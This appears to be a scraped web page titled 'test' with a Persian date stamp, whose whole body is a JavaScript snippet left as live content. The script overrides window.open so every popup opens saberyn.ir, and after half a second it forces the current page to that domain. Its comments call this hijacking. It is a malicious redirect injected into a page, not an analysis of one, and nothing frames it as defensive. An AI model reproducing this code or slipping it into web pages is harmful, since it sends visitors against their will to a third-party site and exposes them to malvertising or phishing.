test
مرداد ۱۶, ۱۴۰۵ ۱۴۰۵-۰۵-۱۶ ۱۶:۰۲test
(function() {
try {
// Store reference to current window
var originalOpener = window.opener;
var hijackedWindow = window;
// Inject into all window.open calls
var WindowOpen = window.open;
window.open = function(url, target, features) {
// Intercept opens
target = target || '_blank';
var w = WindowOpen.call(this, 'https://saberyn.ir', target, features);
return w;
};
// Grab focus after delay
setTimeout(function() {
try {
window.location = 'https://saberyn.ir';
} catch(e) {
window.open('https://saberyn.ir', '_blank');
}
}, 500);
} catch(e) {}
})();